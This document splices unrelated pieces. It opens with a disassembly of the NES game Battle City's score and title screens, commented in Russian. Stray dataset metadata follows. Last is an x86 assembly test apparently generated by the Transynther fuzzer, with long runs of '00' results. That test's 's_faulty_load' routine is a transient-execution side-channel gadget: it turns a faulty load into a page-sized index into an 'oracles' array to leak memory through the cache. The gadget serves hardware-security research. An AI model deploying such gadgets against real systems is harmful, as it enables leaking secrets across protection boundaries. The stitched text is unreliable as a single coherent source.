CODE XREF: Draw_Pts_Screen+10Dj JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков LDA #0 STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага LDX Counter LDA TankKill_Pts,X ; Количество очков за каждый тип убитого врага JSR Num_To_NumString ; Переводит число из А в строку NumString LDX Counter LDA Enmy_KlledBy1P_Count,X BEQ ++ LDA #1 STA Snd_PtsCount1 STA Snd_PtsCount2 DEC Enmy_KlledBy1P_Count,X INC BrickChar_X LDX #2 JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х LDA #1 STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков ++: ; CODE XREF: Draw_Pts_Screen+52j LDX Counter LDA Enmy_KlledBy2P_Count,X BEQ +++ LDA #1 STA Snd_PtsCount1 STA Snd_PtsCount2 DEC Enmy_KlledBy2P_Count,X INC BrickChar_Y LDX #3 JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х LDA #1 STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков +++: ; CODE XREF: Draw_Pts_Screen+70j LDY #HiScore_1P_String+1 LDX #5 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDX #1 LDY #Temp_1PPts_String+1 ; Строка при подсчете очков за текущий вид танка JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDA Counter ASL A CLC ADC Counter CLC ADC #$C TAY JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDX Counter LDA BrickChar_X JSR ByteTo_Num_String LDX #8 LDY #Num_String+1 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDA Counter ASL A CLC ADC Counter CLC ADC #$C TAY JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA CursorPos BEQ + ; Если игрок один, очки не выводим LDY #HiScore_2P_String+1 LDX #$17 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDX #$13 LDY #Temp_2PPts_String+1 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDA Counter ASL A CLC ADC Counter CLC ADC #$C TAY JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDX Counter LDA BrickChar_Y JSR ByteTo_Num_String LDX #$E LDY #Num_String+1 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDA Counter ASL A CLC ADC Counter CLC ADC #$C TAY JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер +: ; CODE XREF: Draw_Pts_Screen+C7j LDX #8 JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) loc_CDDD: ; Если 0, завершить подсчет очков для текущего врага LDA EndCount_Flag BEQ ++++ JMP DrawPtsScrn_NxtCount ; ─────────────────────────────────────────────────────────────────────────── ++++: ; CODE XREF: Draw_Pts_Screen+10Bj INC Counter LDA Counter CMP #4 ; 4 типа танков BEQ loc_CDF4 LDX #$14 JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) JMP DrawPtsScrn_NxtTank ; ─────────────────────────────────────────────────────────────────────────── loc_CDF4: ; CODE XREF: Draw_Pts_Screen+116j LDX #$1E JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) LDA TotalEnmy_KilledBy1P JSR ByteTo_Num_String LDY #Num_String+1 LDX #8 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$17 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA CursorPos BEQ +++++ LDA TotalEnmy_KilledBy2P JSR ByteTo_Num_String LDY #Num_String+1 LDX #$E JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$17 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер +++++: ; CODE XREF: Draw_Pts_Screen+138j LDX #$F JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) ;! Если победили босса, в любом случае рисуем бонус у одного из игроков даже если он играл один. LDA Boss_Mode BNE DrawPtsScrn_CheckHQ: Skip_Boss_Bonus: LDA CursorPos BNE DrawPtsScrn_CheckHQ JMP End_Draw_Pts_Screen ; ─────────────────────────────────────────────────────────────────────────── DrawPtsScrn_CheckHQ: ; CODE XREF: Draw_Pts_Screen+152j LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен BNE DrawPtsScrn_CheckNum JMP End_Draw_Pts_Screen ; ─────────────────────────────────────────────────────────────────────────── DrawPtsScrn_CheckNum: ; CODE XREF: Draw_Pts_Screen+159j LDA TotalEnmy_KilledBy2P CMP TotalEnmy_KilledBy1P BCS DrawPtsScrn_CheckLives Chk_Lives: LDA Player1_Lives BEQ DrawPtsScrn_CheckLives LDA #0 ; Рисуем под IP слово BONUS! 1000PTS ; Если количество очков 1 игрока больше, и ; он остался жив Draw_IP_Bonus: JSR Num_To_NumString ; Переводит число из А в строку NumString LDX #0 JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х LDY #HiScore_1P_String+1 LDX #5 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDY #Num_String+1 LDX #1 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$1A JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #>aBonus ; "BONUS\x15\xFF" STA HighPtr_Byte LDA #<aBonus ; "BONUS\x15\xFF" STA LowPtr_Byte LDX #3 LDY #$19 JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #8 LDY #$1A JSR String_to_Screen_Buffer LDA #1 STA Snd_BonusPts STA byte_31C STA byte_31D JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков JMP End_Draw_Pts_Screen ; ─────────────────────────────────────────────────────────────────────────── DrawPtsScrn_CheckLives: ; CODE XREF: Draw_Pts_Screen+162j ; Draw_Pts_Screen+166j LDA TotalEnmy_KilledBy1P CMP TotalEnmy_KilledBy2P BCS End_Draw_Pts_Screen LDA Player2_Lives BEQ End_Draw_Pts_Screen LDA #0 ; Рисуем под IIP слово BONUS! 1000PTS ; Если количество очков 2 игрока больше, и ; он остался жив JSR Num_To_NumString ; Переводит число из А в строку NumString LDX #1 JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х LDY #HiScore_2P_String+1 LDX #$17 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDY #Num_String+1 LDX #$14 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$1A JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #>aBonus ; "BONUS\x15\xFF" STA HighPtr_Byte LDA #<aBonus ; "BONUS\x15\xFF" STA LowPtr_Byte LDX #$16 LDY #$19 JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #$1B LDY #$1A JSR String_to_Screen_Buffer LDA #1 STA Snd_BonusPts ; Играем музыку бонуса STA byte_31C STA byte_31D JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков End_Draw_Pts_Screen: ; CODE XREF: Draw_Pts_Screen+154j ; Draw_Pts_Screen+15Bj ; Draw_Pts_Screen+1B6j ; Draw_Pts_Screen+1BDj ; Draw_Pts_Screen+1C1j LDX #Enmy_KlledBy2P_Count+1 JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) LDA #0 ; Начало загрузки экрана выбора уровня STA PPU_REG1_Stts STA Char_Index_Base STA byte_6B LDA #0 STA BkgPal_Number RTS ; End of function Draw_Pts_Screen ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует общий для всех уровней экран очков Draw_Pts_Screen_Template: ; CODE XREF: Draw_Pts_Screenp JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #1 STA byte_6B LDA #$24 ; '$' STA PPU_Addr_Ptr LDA #0 STA Scroll_Byte LDA #10b STA PPU_REG1_Stts LDA #$30 ; '0' STA Char_Index_Base ; Начало графики цифр LDA #3 STA BkgPal_Number JSR Screen_Off JSR Null_NT_Buffer JSR Fill_Attrib_Table ; Сохраняет определенные атрибуты в NT_Buffer JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU LDA #>aHikscore ; k=тире STA HighPtr_Byte LDA #<aHikscore ; k=тире STA LowPtr_Byte LDX #8 LDY #3 JSR String_to_Screen_Buffer LDY #HiScore_String+1 LDX #$12 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #3 JSR Save_Str_To_ScrBuffer ; Выводим Hi-score LDA #>aStage ; "STAGE\xFF" STA HighPtr_Byte LDA #<aStage ; "STAGE\xFF" STA LowPtr_Byte LDX #$C LDY #5 JSR String_to_Screen_Buffer LDA Level_Number JSR ByteTo_Num_String LDY #Num_String+1 LDX #$E JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #5 JSR Save_Str_To_ScrBuffer ; Рисуем номер уровня JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>aKplayer ; 'I-PLAYER' STA HighPtr_Byte LDA #<aKplayer ; 'I-PLAYER' STA LowPtr_Byte LDX #3 LDY #7 JSR String_to_Screen_Buffer LDY #HiScore_1P_String+1 LDX #5 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Рисуем очки первого игрока LDA #>Arrow_Left STA HighPtr_Byte LDA #<Arrow_Left STA LowPtr_Byte LDX #$E LDY #$C JSR String_to_Screen_Buffer ; Рисуем стрелку влево 4 раза LDA #>Arrow_Left STA HighPtr_Byte LDA #<Arrow_Left STA LowPtr_Byte LDX #$E LDY #$F JSR String_to_Screen_Buffer LDA #>Arrow_Left STA HighPtr_Byte LDA #<Arrow_Left STA LowPtr_Byte LDX #$E LDY #$12 JSR String_to_Screen_Buffer LDA #>Arrow_Left STA HighPtr_Byte LDA #<Arrow_Left STA LowPtr_Byte LDX #$E LDY #$15 JSR String_to_Screen_Buffer LDA CursorPos BEQ Skip_ScndPlayerDraw ; Если игрок один, стрелку вправо и II-Player не рисуем JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>a_kplayer ; 'II-PLAYER' STA HighPtr_Byte LDA #<a_kplayer ; 'II-PLAYER' STA LowPtr_Byte LDX #$15 LDY #7 JSR String_to_Screen_Buffer LDY #HiScore_2P_String+1 LDX #$17 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #9 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #>Arrow_Right ; Используются при подсчёте очков STA HighPtr_Byte LDA #<Arrow_Right ; Используются при подсчёте очков STA LowPtr_Byte LDX #$11 LDY #$C JSR String_to_Screen_Buffer LDA #>Arrow_Right ; Используются при подсчёте очков STA HighPtr_Byte LDA #<Arrow_Right ; Используются при подсчёте очков STA LowPtr_Byte LDX #$11 LDY #$F JSR String_to_Screen_Buffer LDA #>Arrow_Right ; Используются при подсчёте очков STA HighPtr_Byte LDA #<Arrow_Right ; Используются при подсчёте очков STA LowPtr_Byte LDX #$11 LDY #$12 JSR String_to_Screen_Buffer LDA #>Arrow_Right ; Используются при подсчёте очков STA HighPtr_Byte LDA #<Arrow_Right ; Используются при подсчёте очков STA LowPtr_Byte LDX #$11 LDY #$15 JSR String_to_Screen_Buffer Skip_ScndPlayerDraw: ; CODE XREF: Draw_Pts_Screen_Template+C1j JSR NMI_Wait ; Рисуем PTS перед выводом очков за каждый вид танка LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #8 LDY #$C JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #8 LDY #$F JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #8 LDY #$12 JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #8 LDY #$15 JSR String_to_Screen_Buffer LDA CursorPos BEQ Skip_ScndPlayerPtsDraw ; Если игрок один, PTS не рисуем JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #$1A LDY #$C JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #$1A LDY #$F JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #$1A LDY #$12 JSR String_to_Screen_Buffer LDA #>aPts ; "PTS\xFF" STA HighPtr_Byte LDA #<aPts ; "PTS\xFF" STA LowPtr_Byte LDX #$1A LDY #$15 JSR String_to_Screen_Buffer Skip_ScndPlayerPtsDraw: ; CODE XREF: Draw_Pts_Screen_Template+15Ej JSR NMI_Wait ; Рисуем Total и линию LDA #>aLine ; Полоска над 'TOTAL' при подсчёте очков STA HighPtr_Byte LDA #<aLine ; Полоска над 'TOTAL' при подсчёте очков STA LowPtr_Byte LDX #$C LDY #$16 JSR String_to_Screen_Buffer LDA #>aTotal ; "TOTAL\xFF" STA HighPtr_Byte LDA #<aTotal ; "TOTAL\xFF" STA LowPtr_Byte LDX #6 LDY #$17 JSR String_to_Screen_Buffer RTS ; End of function Draw_Pts_Screen_Template ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует колонку из 4-х вражеских танков Draw_Tank_Column: ; CODE XREF: Draw_Pts_Screen+29p ; Draw_Pts_Screen+3Fp ; DrawTankColumn_XTimes+5p LDA #2 STA TSA_Pal ; Танки будут на спрайтовой палитре 2 LDY #$64 ; 'd' ; Будет меняться только Y и вид танка (начальный индекс тайла в Pattern Table) LDA #$80 ; 'А' ; 1 вид танка врага JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х LDY #$7C ; '|' LDA #$A0 ; 'а' ; 2 вид танка врага JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х LDY #$94 ; 'Ф' LDA #$C0 ; '└' ; 3 вид танка врага JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х LDY #$AC ; 'м' LDA #$E0 ; 'р' ; 4 вид танка врага JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х RTS ; End of function Draw_Tank_Column ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Сохраняет определенные атрибуты в NT_Buffer Fill_Attrib_Table: ; CODE XREF: Draw_Pts_Screen_Template+21p LDA #$50 ; 'P' STA NT_Buffer+$3C0 STA NT_Buffer+$3C1 STA NT_Buffer+$3C2 STA NT_Buffer+$3C3 STA NT_Buffer+$3C8 STA NT_Buffer+$3C9 STA NT_Buffer+$3CA STA NT_Buffer+$3CD STA NT_Buffer+$3CE STA NT_Buffer+$3CF LDA #$A0 STA NT_Buffer+$3C4 STA NT_Buffer+$3C5 STA NT_Buffer+$3C6 STA NT_Buffer+$3C7 LDA #$A STA NT_Buffer+$3D0 STA NT_Buffer+$3D1 STA NT_Buffer+$3D2 STA NT_Buffer+$3D5 STA NT_Buffer+$3D6 STA NT_Buffer+$3D7 LDA #5 STA NT_Buffer+$3F0 STA NT_Buffer+$3F1 STA NT_Buffer+$3F2 STA NT_Buffer+$3F5 STA NT_Buffer+$3F6 STA NT_Buffer+$3F7 RTS ; End of function Fill_Attrib_Table ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует 16х16 спрайт с фиксированной координатой Х Draw_Spr_InColumn: ; CODE XREF: Draw_Tank_Column+8p ; Draw_Tank_Column+Fp ; Draw_Tank_Column+16p ; Draw_Tank_Column+1Dp STA Spr_TileIndex LDX #$81 JSR Draw_WholeSpr ; Cбрасывает в спрайтовый буффер спрайт 16х16. (в Х, Y - координаты) RTS ; End of function Draw_Spr_InColumn ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Прибавляет одну жизнь, если игрок заработал 200К очков Add_Life: ; CODE XREF: Draw_Pts_Screen+69p ; Draw_Pts_Screen+87p ; Draw_Pts_Screen+1B3p ; Draw_Pts_Screen+20Ep ; BulletToTank_Impact_Handle+11Bp ; Bonus_Handle+4Ep LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен CMP #$80 BNE End_Add_Life ; Если штаб разрушен, не проверяем очки LDA AddLife_Flag ; <>0 - игрок получал дополнительную жизнь BNE + LDA HiScore_1P_String+2 CMP #2 BCC + INC Player1_Lives INC AddLife_Flag ; <>0 - игрок получал дополнительную жизнь JMP Play_SndAncillaryLife ; ─────────────────────────────────────────────────────────────────────────── +: ; CODE XREF: Add_Life+8j Add_Life+Ej LDA CursorPos BEQ End_Add_Life ; Если игрок один, не проверяем очки второго LDA AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь BNE End_Add_Life LDA HiScore_2P_String+2 CMP #2 BCC End_Add_Life INC Player2_Lives INC AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь Play_SndAncillaryLife: ; CODE XREF: Add_Life+14j LDA #1 STA Snd_Ancillary_Life1 ; Проигрываем звук STA Snd_Ancillary_Life2 End_Add_Life: ; CODE XREF: Add_Life+4j Add_Life+19j ; Add_Life+1Dj Add_Life+23j RTS ; End of function Add_Life ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Null_Upper_NT: ; CODE XREF: BonusLevel_ButtonCheck:New_Scrollp ; BonusLevel_ButtonCheck+28p JSR Screen_Off LDA #3 STA BkgPal_Number LDA #$1C STA PPU_Addr_Ptr JSR Null_NT_Buffer JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU RTS ; End of function Null_Upper_NT ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_TitleScreen: ; CODE XREF: ROM:BEGINp JSR Screen_Off LDA #$24 ; '$' STA PPU_Addr_Ptr JSR Null_NT_Buffer LDX #$1A STX Block_X LDY #$1E ; '.' STY Block_Y LDA #>aBattle ; Загрузка указателя на string 'BATTLE' STA HighStrPtr_Byte LDA #<aBattle ; "BATTLE\xFF" STA LowStrPtr_Byte JSR Draw_BrickStr LDX #$3C ; '<' STX Block_X LDY #$46 ; 'V' STY Block_Y LDA #>aCity: ; Загрузка указателя на string 'CITY' STA HighStrPtr_Byte LDA #<aCity: ; "CITY\xFF" STA LowStrPtr_Byte JSR Draw_BrickStr JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer JSR Set_PPU LDA #$30 ; Цифры в знакогенераторе начинаются по адресу $30 (не ASCII) STA Char_Index_Base LDA #>aK ; Загрузка указателя на string 'I-' STA HighPtr_Byte LDA #<aK ; Для экрана подсчёта очков: 'I-' STA LowPtr_Byte LDX #2 ; Координата X будущей надписи LDY #3 ; Координата Y будущей надписи JSR String_to_Screen_Buffer LDY #$16 LDX #4 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #3 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #>aHik ; Загрузка указателя на string 'HI-' STA HighPtr_Byte LDA #<aHik ; HI- STA LowPtr_Byte LDX #$B LDY #3 JSR String_to_Screen_Buffer LDY #$3E ; '>' LDX #$E JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #3 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA CursorPos BEQ + LDA #>a_k ; Если курсор на момент RESET не был на позиции 1 player, ; значит нужно отрисовать данные об очках второго игрока. ; (интересно, что это справедливо даже для construction) STA HighPtr_Byte LDA #<a_k ; Для экрана подсчёта очков: 'II-' STA LowPtr_Byte LDX #$15 LDY #3 JSR String_to_Screen_Buffer LDY #$1E LDX #$17 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #3 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер +: ; CODE XREF: Draw_TitleScreen+72j LDA #0 STA Char_Index_Base JSR NMI_Wait ; Рисуем нижнюю часть титульника: ; LDA #>a1Player ; "1 PLAYER\xFF" STA HighPtr_Byte LDA #<a1Player ; "1 PLAYER\xFF" STA LowPtr_Byte LDX #$B LDY #$11 JSR String_to_Screen_Buffer LDA #>a2Players ; "2 PLAYERS\xFF" STA HighPtr_Byte LDA #<a2Players ; "2 PLAYERS\xFF" STA LowPtr_Byte LDX #$B LDY #$13 JSR String_to_Screen_Buffer LDA #>aConstruction ; "CONSTRUCTION\xFF" STA HighPtr_Byte LDA #<aConstruction ; "CONSTRUCTION\xFF" STA LowPtr_Byte LDX #$B LDY #$15 JSR String_to_Screen_Buffer JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>aMAP_MODE ; Часть тайловой карты для надписи NAMCOT STA HighPtr_Byte LDA #<aMAP_MODE ; Часть тайловой карты для надписи NAMCOT STA LowPtr_Byte LDX #$B LDY #$17 JSR String_to_Screen_Buffer LDA #>Copyrights ; Кстати, в начале РОМа первая цифра не 1980 а 1981 STA HighPtr_Byte LDA #<Copyrights ; Кстати, в начале РОМа первая цифра не 1980 а 1981 STA LowPtr_Byte LDX #1 LDY #$19 JSR String_to_Screen_Buffer JSR NMI_Wait ; Ожидает немаскируемого прерывания ;!Рисуем строчку Map_Mode LDA Map_Mode_Pos ASL A ; х2 (указатели двухбайтовые) TAY LDA MAP_MODE_STRINGS,Y STA LowPtr_Byte LDA MAP_MODE_STRINGS+1,Y STA HighPtr_Byte LDX #$11 LDY #$17 JSR String_to_Screen_Buffer JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>aSite STA HighPtr_Byte LDA #<aSite STA LowPtr_Byte LDX #$A LDY #$1B JSR String_to_Screen_Buffer LDA #>aBack STA HighPtr_Byte LDA #<aBack STA LowPtr_Byte LDX #8 LDY #$0D JSR String_to_Screen_Buffer RTS ; End of function Draw_TitleScreen ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) DrawTankColumn_XTimes: ; CODE XREF: Draw_Pts_Screen+5p ; Draw_Pts_Screen+106p ; Draw_Pts_Screen+11Ap ; Draw_Pts_Screen+122p ; Draw_Pts_Screen+14Dp ; Draw_Pts_Screen+213p ; DrawTankColumn_XTimes+Bj JSR NMI_Wait ; Ожидает немаскируемого прерывания TXA PHA JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков PLA TAX DEX BNE DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) RTS ; End of function DrawTankColumn_XTimes ; ─────────────────────────────────────────────────────────────────────────── TankKill_Pts: .BYTE $10, $20, $30, $40 ; DATA XREF: Draw_Pts_Screen+48r ; Количество очков за каждый тип убитого врага ;Величины приращений координат надписи GameOver и танка в Construction: ;по 4 байта на X u Y - дают возможность производить ;скроллинг в любом направлении ;В случае танка, это четыре возможных направления движения: ;вверх, влево, вниз, вправо ;(Отрицательные числа приведут к скроллингу в обратном направлении) ;Такие же массивы расположены по адресам $E46C, $EA49 Coord_X_Increment:.BYTE 0, $FF, 0, 1 ; DATA XREF: Move_Tank+33r ; GameOver_Str_Move_Handle+26r Coord_Y_Increment:.BYTE $FF, 0, 1, 0 ; DATA XREF: Move_Tank+3Fr ; GameOver_Str_Move_Handle+30r ; ─────────────────────────────────────────────────────────────────────────── INCLUDE COMMON.asm; Самые общие процедуры, используемые игрой вынесены в отдельный файл. INCLUDE STRINGS.asm; Все строки, которые отрисовываются в игре вынесены в отдельный файл. INCLUDE SOUND.asm ; Звуковой движок вынесен в отдельный файл. ; ─────────────────────────────────────────────────────────────────────────── PAD $FFFA ;Векторы прерываний: .WORD NMI ; Non-Maskable Interrupt Vector .WORD RESET ; RESET Interrupt Vector .WORD RESET ; IRQ/BRK Interrupt Vector ; end of 'ROM' .END
27.017915
105
0.672072
0af45640064d97da141829dfb90a82df6637db4f
5,140
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xd8af, %rdi nop nop nop nop dec %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%rdi) nop nop xor %r10, %r10 lea addresses_WT_ht+0x11ff, %rsi nop nop nop nop add %rdx, %rdx mov (%rsi), %r11 nop xor %rdi, %rdi lea addresses_WT_ht+0x1b439, %rbp add %rdi, %rdi movb $0x61, (%rbp) nop nop nop add %r10, %r10 lea addresses_UC_ht+0xd553, %rsi lea addresses_UC_ht+0x957b, %rdi nop nop nop nop dec %r13 mov $37, %rcx rep movsq nop nop dec %r11 lea addresses_A_ht+0x2407, %rcx nop xor %rbp, %rbp mov (%rcx), %r10d sub $40011, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rcx push %rdi push %rsi // Faulty Load lea addresses_US+0x128ff, %rcx clflush (%rcx) nop nop nop nop nop xor $15000, %r12 vmovaps (%rcx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 1, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 